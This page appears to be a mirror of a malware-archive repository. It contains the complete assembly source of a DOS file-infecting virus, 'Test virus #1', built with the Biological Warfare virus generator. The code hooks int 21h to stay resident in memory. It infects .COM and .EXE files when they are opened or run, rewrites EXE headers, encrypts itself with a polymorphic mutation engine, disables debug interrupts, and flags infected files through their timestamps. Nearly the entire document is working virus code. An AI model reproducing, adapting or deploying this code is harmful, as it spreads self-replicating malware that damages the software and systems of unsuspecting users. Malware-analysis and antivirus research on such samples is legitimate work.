mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
380 lines
12 KiB
NASM
380 lines
12 KiB
NASM
|
; test1.asm : Test virus #1
|
|||
|
|
; Created with Biological Warfare - Version 0.90<EFBFBD> by MnemoniX
|
|||
|
|
|
|||
|
|
PING equ 0F43Fh
|
|||
|
|
PONG equ 0B1DEh
|
|||
|
|
STAMP equ 26
|
|||
|
|
MARKER equ 07070h
|
|||
|
|
|
|||
|
|
code segment
|
|||
|
|
org 0
|
|||
|
|
assume cs:code,ds:code
|
|||
|
|
|
|||
|
|
start:
|
|||
|
|
db 0E9h,3,0 ; to virus
|
|||
|
|
host:
|
|||
|
|
db 0CDh,20h,0 ; host program
|
|||
|
|
virus_begin:
|
|||
|
|
push ds es
|
|||
|
|
|
|||
|
|
call $ + 3 ; BP is instruction ptr.
|
|||
|
|
pop bp
|
|||
|
|
sub bp,offset $ - 1
|
|||
|
|
|
|||
|
|
xor ax,ax ; mild anti-trace code
|
|||
|
|
mov es,ax ; kill interrupts 1 & 3
|
|||
|
|
mov di,6
|
|||
|
|
stosw
|
|||
|
|
mov di,14
|
|||
|
|
stosw
|
|||
|
|
|
|||
|
|
in al,21h ; lock out & reopen keyboard
|
|||
|
|
xor al,2
|
|||
|
|
out 21h,al
|
|||
|
|
xor al,2
|
|||
|
|
out 21h,al
|
|||
|
|
|
|||
|
|
mov ax,PING ; test for residency
|
|||
|
|
int 21h
|
|||
|
|
cmp bx,PONG
|
|||
|
|
je installed
|
|||
|
|
|
|||
|
|
mov ax,es ; Get PSP
|
|||
|
|
dec ax
|
|||
|
|
mov ds,ax ; Get MCB
|
|||
|
|
|
|||
|
|
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
|||
|
|
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
|||
|
|
mov es,word ptr ds:[12h]
|
|||
|
|
|
|||
|
|
push cs ; copy virus into memory
|
|||
|
|
pop ds
|
|||
|
|
xor di,di
|
|||
|
|
mov si,bp
|
|||
|
|
mov cx,(virus_end - start) / 2 + 1
|
|||
|
|
rep movsw
|
|||
|
|
|
|||
|
|
xor ax,ax ; capture interrupts
|
|||
|
|
mov ds,ax
|
|||
|
|
|
|||
|
|
mov si,21h * 4 ; get original int 21
|
|||
|
|
mov di,offset old_int_21
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
|
|||
|
|
mov word ptr ds:[si - 4],offset new_int_21
|
|||
|
|
mov ds:[si - 2],es ; and set new int 21
|
|||
|
|
|
|||
|
|
installed:
|
|||
|
|
pop es ds ; restore segregs
|
|||
|
|
cmp sp,MARKER ; check for .EXE
|
|||
|
|
je exe_exit
|
|||
|
|
|
|||
|
|
com_exit:
|
|||
|
|
mov si,[bp + mutator] ; restore host program
|
|||
|
|
sub si,3
|
|||
|
|
mov di,100h
|
|||
|
|
push di
|
|||
|
|
movsw
|
|||
|
|
movsb
|
|||
|
|
|
|||
|
|
call fix_regs ; fix up registers
|
|||
|
|
ret ; and leave
|
|||
|
|
exe_exit:
|
|||
|
|
mov ax,ds ; fix up return address
|
|||
|
|
add ax,10h
|
|||
|
|
push ax
|
|||
|
|
add ax,cs:[bp + exe_cs]
|
|||
|
|
mov cs:[bp + return_cs],ax
|
|||
|
|
|
|||
|
|
mov ax,cs:[bp + exe_ip]
|
|||
|
|
mov cs:[bp + return_ip],ax
|
|||
|
|
|
|||
|
|
pop ax
|
|||
|
|
add ax,cs:[bp + exe_ss] ; restore stack
|
|||
|
|
cli
|
|||
|
|
mov ss,ax
|
|||
|
|
mov sp,cs:[bp + exe_sp]
|
|||
|
|
|
|||
|
|
call fix_regs ; fix up registers
|
|||
|
|
sti
|
|||
|
|
|
|||
|
|
db 0EAh ; back to host program
|
|||
|
|
return_ip dw 0
|
|||
|
|
return_cs dw 0
|
|||
|
|
|
|||
|
|
exe_cs dw -16 ; orig CS:IP
|
|||
|
|
exe_ip dw 103h
|
|||
|
|
exe_sp dw -2 ; orig SS:SP
|
|||
|
|
exe_ss dw -16
|
|||
|
|
|
|||
|
|
fix_regs:
|
|||
|
|
xor ax,ax
|
|||
|
|
cwd
|
|||
|
|
xor bx,bx
|
|||
|
|
mov si,100h
|
|||
|
|
xor di,di
|
|||
|
|
xor bp,bp
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
; interrupt 21 handler
|
|||
|
|
int_21:
|
|||
|
|
pushf
|
|||
|
|
call dword ptr cs:[old_int_21]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
new_int_21:
|
|||
|
|
cmp ax,PING ; residency test
|
|||
|
|
je ping_pong
|
|||
|
|
cmp ah,3Dh ; file open
|
|||
|
|
je file_open
|
|||
|
|
cmp ax,4B00h ; execute program
|
|||
|
|
je execute
|
|||
|
|
int_21_exit:
|
|||
|
|
db 0EAh ; never mind ...
|
|||
|
|
old_int_21 dd 0
|
|||
|
|
|
|||
|
|
ping_pong:
|
|||
|
|
mov bx,PONG
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
file_open:
|
|||
|
|
push ax cx di es
|
|||
|
|
call get_extension
|
|||
|
|
cmp [di],'OC' ; .COM file?
|
|||
|
|
jne perhaps_exe ; perhaps .EXE then
|
|||
|
|
cmp byte ptr [di + 2],'M'
|
|||
|
|
jne not_prog
|
|||
|
|
jmp a_program
|
|||
|
|
perhaps_exe:
|
|||
|
|
cmp [di],'XE' ; .EXE file?
|
|||
|
|
jne not_prog
|
|||
|
|
cmp byte ptr [di + 2],'E'
|
|||
|
|
jne not_prog
|
|||
|
|
a_program:
|
|||
|
|
pop es di cx ax
|
|||
|
|
jmp execute ; infect file
|
|||
|
|
not_prog:
|
|||
|
|
pop es di cx ax
|
|||
|
|
jmp int_21_exit
|
|||
|
|
|
|||
|
|
execute:
|
|||
|
|
push ax bx cx dx si di ds es
|
|||
|
|
|
|||
|
|
xor ax,ax ; critical error handler
|
|||
|
|
mov es,ax ; routine - catch int 24
|
|||
|
|
mov es:[24h * 4],offset int_24
|
|||
|
|
mov es:[24h * 4 + 2],cs
|
|||
|
|
|
|||
|
|
mov ax,4300h ; change attributes
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
push cx dx ds
|
|||
|
|
xor cx,cx
|
|||
|
|
call set_attributes
|
|||
|
|
|
|||
|
|
mov ax,3D02h ; open file
|
|||
|
|
call int_21
|
|||
|
|
jnc open_it
|
|||
|
|
jmp cant_open
|
|||
|
|
open_it:
|
|||
|
|
xchg bx,ax
|
|||
|
|
|
|||
|
|
push cs ; CS = DS
|
|||
|
|
pop ds
|
|||
|
|
|
|||
|
|
mov ax,5700h ; save file date/time
|
|||
|
|
int 21h
|
|||
|
|
push cx dx
|
|||
|
|
and cl,31 ; check time stamp
|
|||
|
|
cmp cl,STAMP
|
|||
|
|
jnz its_ok
|
|||
|
|
jmp dont_infect
|
|||
|
|
its_ok:
|
|||
|
|
mov ah,3Fh
|
|||
|
|
mov cx,28
|
|||
|
|
mov dx,offset read_buffer
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
cmp word ptr read_buffer,'ZM' ; .EXE?
|
|||
|
|
jne its_ok_2
|
|||
|
|
jmp infect_exe
|
|||
|
|
its_ok_2:
|
|||
|
|
mov al,2 ; move to end of file
|
|||
|
|
call move_file_ptr
|
|||
|
|
|
|||
|
|
cmp dx,65279 - (VIRUS_SIZE + 3)
|
|||
|
|
ja dont_infect ; too big, don't infect
|
|||
|
|
|
|||
|
|
mov word ptr new_jump + 1,dx
|
|||
|
|
|
|||
|
|
add dx,103h
|
|||
|
|
mov mutator,dx
|
|||
|
|
push cs ; call Biological Warfare
|
|||
|
|
pop es ; Mutation Engine
|
|||
|
|
mov cx,VIRUS_SIZE
|
|||
|
|
mov di,offset encrypt_buffer
|
|||
|
|
mov si,offset virus_begin
|
|||
|
|
|
|||
|
|
call _bwme
|
|||
|
|
|
|||
|
|
push cx
|
|||
|
|
mov cx,3
|
|||
|
|
mov ah,40h
|
|||
|
|
mov dx,offset read_buffer ; save original program head
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,40h ; write virus to file
|
|||
|
|
pop cx
|
|||
|
|
mov dx,offset encrypt_buffer
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
xor al,al ; back to beginning of file
|
|||
|
|
call move_file_ptr
|
|||
|
|
|
|||
|
|
mov dx,offset new_jump ; and write new jump
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
fix_date_time:
|
|||
|
|
pop dx cx
|
|||
|
|
and cl,-32 ; add time stamp
|
|||
|
|
or cl,STAMP
|
|||
|
|
mov ax,5701h ; restore file date/time
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
close:
|
|||
|
|
pop ds dx cx ; restore attributes
|
|||
|
|
call set_attributes
|
|||
|
|
|
|||
|
|
mov ah,3Eh ; close file
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
cant_open:
|
|||
|
|
pop es ds di si dx cx bx ax
|
|||
|
|
jmp int_21_exit ; leave
|
|||
|
|
|
|||
|
|
|
|||
|
|
set_attributes:
|
|||
|
|
mov ax,4301h
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
dont_infect:
|
|||
|
|
pop cx dx ; can't infect, skip
|
|||
|
|
jmp close
|
|||
|
|
|
|||
|
|
move_file_ptr:
|
|||
|
|
mov ah,42h ; move file pointer
|
|||
|
|
cwd
|
|||
|
|
xor cx,cx
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov dx,ax ; set up registers
|
|||
|
|
mov ah,40h
|
|||
|
|
mov cx,3
|
|||
|
|
ret
|
|||
|
|
infect_exe:
|
|||
|
|
cmp word ptr read_buffer[26],0
|
|||
|
|
jne dont_infect ; overlay, don't infect
|
|||
|
|
|
|||
|
|
cmp word ptr read_buffer[16],MARKER
|
|||
|
|
je dont_infect ; infected already
|
|||
|
|
|
|||
|
|
les ax,dword ptr read_buffer[20]
|
|||
|
|
mov exe_cs,es ; CS
|
|||
|
|
mov exe_ip,ax ; IP
|
|||
|
|
|
|||
|
|
les ax,dword ptr read_buffer[14]
|
|||
|
|
mov exe_ss,ax ; SS
|
|||
|
|
mov exe_sp,es ; SP
|
|||
|
|
mov word ptr read_buffer[16],MARKER
|
|||
|
|
|
|||
|
|
mov ax,4202h ; to end of file
|
|||
|
|
cwd
|
|||
|
|
xor cx,cx
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
push ax dx ; save file size
|
|||
|
|
|
|||
|
|
push bx
|
|||
|
|
mov cl,12 ; calculate offsets for CS
|
|||
|
|
shl dx,cl ; and IP
|
|||
|
|
mov bx,ax
|
|||
|
|
mov cl,4
|
|||
|
|
shr bx,cl
|
|||
|
|
add dx,bx
|
|||
|
|
and ax,15
|
|||
|
|
pop bx
|
|||
|
|
|
|||
|
|
sub dx,word ptr read_buffer[8]
|
|||
|
|
mov word ptr read_buffer[22],dx
|
|||
|
|
mov word ptr read_buffer[20],ax
|
|||
|
|
add dx,100
|
|||
|
|
mov word ptr read_buffer[14],dx
|
|||
|
|
|
|||
|
|
pop dx ax ; calculate prog size
|
|||
|
|
|
|||
|
|
add ax,VIRUS_SIZE + 3
|
|||
|
|
adc dx,0
|
|||
|
|
mov cx,512 ; in pages
|
|||
|
|
div cx ; then save results
|
|||
|
|
inc ax
|
|||
|
|
mov word ptr read_buffer[2],dx
|
|||
|
|
mov word ptr read_buffer[4],ax
|
|||
|
|
mov dx,word ptr read_buffer[20]
|
|||
|
|
mov cx,VIRUS_SIZE ; call BWME
|
|||
|
|
mov di,offset encrypt_buffer
|
|||
|
|
mov si,offset virus_begin
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
call _bwme
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov ah,40h
|
|||
|
|
mov dx,offset encrypt_buffer
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov ax,4200h ; back to beginning
|
|||
|
|
cwd
|
|||
|
|
xor cx,cx
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,40h ; and fix up header
|
|||
|
|
mov cx,28
|
|||
|
|
mov dx,offset read_buffer
|
|||
|
|
int 21h
|
|||
|
|
jmp fix_date_time ; done
|
|||
|
|
|
|||
|
|
courtesy_of db '[BW]',0
|
|||
|
|
signature db 'Test virus #1',0
|
|||
|
|
|
|||
|
|
get_extension:
|
|||
|
|
push ds ; find extension
|
|||
|
|
pop es
|
|||
|
|
mov di,dx
|
|||
|
|
mov cx,64
|
|||
|
|
mov al,'.'
|
|||
|
|
repnz scasb
|
|||
|
|
ret
|
|||
|
|
include bwme.asm
|
|||
|
|
|
|||
|
|
int_24:
|
|||
|
|
mov al,3 ; int 24 handler
|
|||
|
|
iret
|
|||
|
|
mutator dw 106h
|
|||
|
|
new_jump db 0E9h,0,0
|
|||
|
|
|
|||
|
|
virus_end:
|
|||
|
|
VIRUS_SIZE equ virus_end - virus_begin
|
|||
|
|
read_buffer db 28 dup (?) ; read buffer
|
|||
|
|
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
|
|||
|
|
|
|||
|
|
end_heap:
|
|||
|
|
|
|||
|
|
MEM_SIZE equ end_heap - start
|
|||
|
|
|
|||
|
|
code ends
|
|||
|
|
end start
|